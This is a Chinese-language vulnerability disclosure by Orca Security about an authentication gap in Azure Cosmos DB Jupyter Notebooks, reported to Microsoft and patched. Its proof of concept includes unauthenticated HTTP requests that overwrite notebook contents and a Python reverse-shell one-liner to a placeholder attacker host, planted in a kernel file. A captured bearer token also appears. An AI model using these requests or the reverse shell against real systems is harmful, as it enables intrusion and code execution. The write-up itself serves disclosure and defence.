Azure Cosmos DB Notebook 遠程代碼執行漏洞
我們最近在 Azure Cosmos DB 上發現了一個非常重要的漏洞,其中 Cosmos DB Notebooks 中缺少身份驗證檢查。我們將其命名為“CosMiss”。簡而言之,如果攻擊者知道 Notebook 的“forwardingId”,即 Notebook Workspace 的 UUID,他們將擁有 Notebook 的完整權限,包括讀寫訪問權限,以及修改該 Notebook 文件系統的能力。運行notebook的容器。通過修改容器文件系統(也稱為臨時notebook托管的專用工作區),我們能夠在Notebook容器中獲得遠程代碼執行(RCE)。
發現漏洞后,Orca Research Pod立即將其報告給 Microsoft 安全響應中心 (MSRC),后者在兩天內修復了該重要問題,這比我們在 Azure Synapse 中發現的SynLapse漏洞令人印象深刻且響應速度更快。我們驗證了修復并可以確認現在所有 Cosmos DB Notebook 用戶都需要在請求標頭中提供授權令牌,然后才能訪問 Notebook。我們要感謝 Microsoft 的合作以及他們為保護此漏洞而采取的快速行動。
關于Cos Miss漏洞
- 該漏洞是在 Azure Cosmos DB Jupyter Notebooks 中發現的,這是 Microsoft 的快速 NoSQL 數據庫,廣泛用于 Microsoft 自己的電子商務平臺和零售行業,用于存儲目錄數據和訂單處理管道中的事件源。
- Jupyter Notebooks 內置在 Azure Cosmos DB 中,供開發人員用于執行常見任務,例如數據清理、數據探索、數據轉換和機器學習。在我們的研究中,我們發現Cosmos DB Jupyter Notebooks 中缺少身份驗證檢查。
- 這是特別危險的,因為開發人員使用 Cosmos DB Notebooks 來創建代碼,并且通常包含高度敏感的信息,例如嵌入在代碼中的秘密和私鑰。
- “CosMiss”漏洞允許未經身份驗證的用戶獲得對 Azure Cosmos DB Notebooks 的讀寫訪問權限、注入代碼和覆蓋代碼——構成遠程代碼執行 (RCE)。
- 但是,只有知道Notebook工作區的 UUID(也稱為**forwardingId**)的攻擊者才能利用該漏洞。據我們所知,獲取 forwardingId 的唯一方法就是以經過身份驗證的用戶身份打開 Notebook。雖然 forwardingId 沒有被記錄為秘密,所以我們沒有任何理由相信用戶會這樣對待它。
- 2022年10 月 3 日, Orca Security 向 Microsoft 報告了該漏洞,后者在兩天內修復并修補了該漏洞——現在每個notebook會話的請求標頭中都需要一個授權令牌。
什么是Cosmos DB Notebooks?
CosMiss 漏洞是在 Cosmos DB Jupyter Notebooks 中發現的。Azure Cosmos DB 是一個快速的 NoSQL 數據庫。Azure Cosmos DB 包括Jupyter Notebooks,它是一個開源交互式開發環境 (IDE),允許開發人員創建、執行和共享包含實時代碼、方程式、可視化和敘述性文本的文檔。由于開發人員使用 Cosmos DB Notebooks 來創建代碼,它們可以包含高度敏感的信息,例如嵌入在代碼中的秘密和私鑰。
利用Cos Miss的概念證明
為了演示該漏洞,我們使用 Azure 表 API 和無服務器容量模式創建了一個 Cosmos DB。該漏洞還在 Core SQL api(推薦)和預置吞吐量部署上得到驗證。
Cosmos DB 數據資源管理器刀片中的notebook功能允許客戶使用 Jupyter 功能(在 Python、C# 或其他運行時)訪問和可視化他們的數據。此外,客戶使用此功能來檢查來自 Cosmos DB 的數據以及可以使用其 API 集成的其他數據源。
1.不需要授權頭
當用戶創建一個新的 Notebook 時, phoenixServiceUrl會創建以下端點,它會生成以下項目:
POST
/api/controlplane/toolscontainer/cosmosaccounts/subscriptions/[tenant-id]/resourceGroups/Orca-Research/providers/Microsoft.DocumentDB/databaseAccounts/orca-cosmos-dev/containerconnections/multicontainer HTTP/2
Host: tools.cosmos.azure.com
Content-Length: 88
Sec-Ch-Ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
Authorization: Bearer
eyJ0eXAiOiJKV1QiLdaaaxxWMFRPSSIsImtpZCI6IjJaUXBKM1VwYmpBWVhZR2FYRUpsOGxWMFRPSSJ9.eyJhdWQddaaam5ldC8yMjdkY2ExZC1iMWE1LTQ0MDEtYTVmZi05N2Q5OTMxZWE4YmUvIiwiaWF0IjoxNjY0NzE4NTI3LCJuYmYiOjE2NjQ3MTg1MjcsImV4cCI6MTY2NDcyMzIxOSwiYWNyIjoiMSIsndkbkZ3d1lKQUNNNjJjdmkrbERTVnRpQWIvdEpDOW9HV2VFd2pwWGhsL2x3aStzVzZWWHB5UmV5ZFpwMVgiLCJhdI0N2QtOTc0ZTUzY2JkZjNjIiwiYXBwaWRhY3Icadasdddddab3NtbyIsIm9pZCI6IjNhMzJkNmU1LWEyYzMtNGM5MS1iOTA5LTc0N2YxNjQ2NDg3MSIsInB1aWQiOiIxMDAzMjAwMjM2RUJBODZEIiwicmgiOiIwLkFZSUFIY3A5SXFXeEFVU2xfNWZaa3g2b3ZrWklmM2tBdXRkUHVrUGF3ZmoyTUJPQ0FHay4iLCJzY3AiOiJ1c2VyX2ltcGVyc29uYXRpb24iLCJzdWIiOiJZTElsRzB1anZDaktlSWo5OHozRk94R3ZvTjl2Umx3UFRtczlOa1dfQng0IiwidGlkIjoiMjI3ZGNhMWQtYjFhNS00NDAxLWE1ZmYtOTdkOTkzMWVhOGJlIiwidW5pcXVlX25hbWUiOiJjb3Ntb0BvcmNhc2VjdXJpdHlyZXNlYXJjaC5vbm1pY3Jvc29mdC5jb20iLCJ1cG4iOiJjb3Ntb0BvcmNhc2VjdXJpdHlyZXNlYXJjaC5vbm1pY3Jvc29mdC5jb20iLCJ1dGkiOiJuZ3VDVm1qZFhrS3RUSW5BaG9GbEFBIiwidmVyIjoiMS4wIiwieG1zX3RjZHQiOjE2MTg4MTYwODl9.Gyd3LXwzBG1yj-JfO0PCXOyD0exC7U-MCXwJBdsadcadad3xLIRZ7NqBq5BhE0WXLV2cgziYf-CAT9QT6oy1yIn58RaRdMojlVbhCpxlfFTdnsOXiorzNwTHzcwwvWsM4fbl2vV-RKMO
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Accept: /
Origin: https://cosmos.azure.com
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://cosmos.azure.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-IL,en;q=0.9,he-IL;q=0.8,he;q=0.7,en-US;q=0.6,pl;q=0.5
{"cosmosEndpoint":"https://orca-cosmos-dev.documents.azure.com:443/","poolId":"default"}
回應是:
我們可以看到創建了以下項目:
- https://seasia.tools.cosmos.azure.com端點。
- 一個唯一的端口(端口范圍從 10000-10009,稍后會詳細介紹)。
- 充當session/notebook ID的唯一值 ( UUIDv4 ),也稱為*forwardingId**(上例中為ab83e033-1670-4bac-a186-32a1c0dddfbc*)。
我們可以在后端看到服務器正在發送的以下端點:
我們當前的 forwardingId 似乎是27f180bc-cf93-4c42-b23e-f27a5085da57
<https://seasia.tools.cosmos.azure.com:10007/api/containergateway/27f180bc-cf93-4c42-b23e-f27a5085da57/api/contents/>
通過查看我們的notebook服務器(即https://seasia.tools.cosmos.azure.com:10007/)發送的各種請求,似乎所有發送到服務器的請求都包含一個授權 標頭,因為我們從下面的截圖可以看出:

當我們嘗試刪除 Authorization Header 并發送相同的請求時,我們看到No Authorization Header 需要列出同一服務器的不同 Notebook。
https://seasia.tools.cosmos.azure.com:10007/api/containergateway/27f180bc-cf93-4c42-b23e-f27a5085da57/api/contents/notebooks
由于 Cosmos DB 表和 Python 查詢是基于 Jupyter(+Tornado 服務器)的,我們可以查看作為平臺一部分的各種端點:
<https://github.com/jupyter-server/kernel_gateway/blob/master/kernel_gateway/jupyter_websocket/swagger.json>](<https://github.com/jupyter-server/kernel_gateway/blob/master/kernel_gateway/ jupyter_websocket/swagger.json>)#36
在查看各種安全定義時,我們可以假設當前的安全配置默認設置不正確,因為授權方法需要使用授權標頭或查詢字符串進行設置。
考慮到這一點,我們現在可以嘗試濫用這種錯誤配置來操縱各種notebooks和templates。
2. 覆蓋、刪除和注入代碼
現在讓我們嘗試覆蓋當前的 Notebook 數據。首先,我們在 notebook 中編寫一些示例代碼。
然后我們保存它——
我們還可以通過 Burp查看 Notebook ( Untitled.ipynb ) –
此外,我們可以從以下端點獲取 kernel_id:
<https://seasia.tools.cosmos.azure.com:10002/api/containergateway/ab83e033-1670-4bac-a186-32a1c0dddfbc/api/kernels/>
發送上述請求將為我們提供以下 id -
現在讓我們通過使用以下 JSON 有效負載向 Notebook 本身發送 PUT 請求來覆蓋隨機 Notebook(請參閱正文):
- source參數? “print('Hacked')”
- Text參數? “print('Hacked')”
PUT
/api/containergateway/27f180bc-cf93-4c42-b23e-f27a5085da57/api/contents/notebooks/Untitled.ipynb HTTP/2
Host: [seasia.tools.cosmos.azure.com:1000](<http://seasia.tools.cosmos.azure.com:10005/>)7
Content-Length: 983
Sec-Ch-Ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Accept: */*
Origin: [<https://cosmos.azure.com>](<https://cosmos.azure.com/>)
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: [<https://cosmos.azure.com/>](<https://cosmos.azure.com/>)
Accept-Encoding: gzip, deflate
Accept-Language: en-IL,en;q=0.9,he-IL;q=0.8,he;q=0.7,en-US;q=0.6,pl;q=0.5
{"kernel":{"id":null,"name":"python3"},"name":"",
"content": {"cells": [{"cell_type": "code", "execution_count": 1, "id": "47bdbef0-ea14-4960-8789-7983e63312dd", "metadata": {"collapsed": true, "execution": {"iopub.execute_input": "2022-10-02T08:06:27.283Z", "iopub.status.busy": "2022-10-02T08:06:27.277Z", "iopub.status.idle": "2022-10-02T08:06:27.299Z", "shell.execute_reply": "2022-10-02T08:06:27.292Z"}, "jupyter": {"outputs_hidden": false, "source_hidden": false}, "nteract": {"transient": {"deleting": false}}, "trusted": true}, "outputs": [{"name": "stdout", "output_type": "stream", "text": "hacked\\n"}], "source": "print('Hacked!')"}], "metadata": {"language_info": {"file_extension": "ipynb", "mimetype": "application/json", "name": "python", "version": "3.7"}, "nteract": {"version": "dataExplorer 1.0"}}, "nbformat": 4, "nbformat_minor": 5}, "format": "json", "mimetype": null, "size": 993, "writable": true, "path":"notebooks/Untitled.ipynb","type":"notebook"}

然后,我們通過退出notebook本身(X 符號)檢查更新的notebook,然后通過點擊 Tables API 標題右側的 Refresh 按鈕刷新tables/notebook:

我們可以看到 Notebook 中的代碼被直接發送到服務器的精心設計的負載覆蓋了。我們還設法檢索任何 Notebook 并刪除并將代碼注入其中,無論我們是連接到 Azure 還是只是未經身份驗證的用戶。
3. 遠程代碼執行(RCE)
通過 Azure UI 加載 Cosmos 數據資源管理器時,資源管理器儀表板由以下文件構建:
/home/cosmosuser/.local/lib/python3.6/site-packages/jupyter_client/kernelspec.py
現在,由于我們設法覆蓋了/home/cosmosuser目錄中的所有文件,我們可以操作該文件并在其中添加以下行:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\"ATTACKER_ID\\",ATTACKER_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\\"/bin/bash\\")
這樣,當加載 Data Explorer 時,整個 python 代碼的這一部分也會被執行,并最終會給任何遠程攻擊者一個反向 shell。

通過發送帶有文件原始內容 + RCE 行的 PUT 請求來修改文件:
刷新 Data Explorer 頁面后,我們應該得到一個反向 shell。

相關演示視頻請參考原文:https://orca.security/resources/blog/cosmiss-vulnerability-azure-cosmos-db/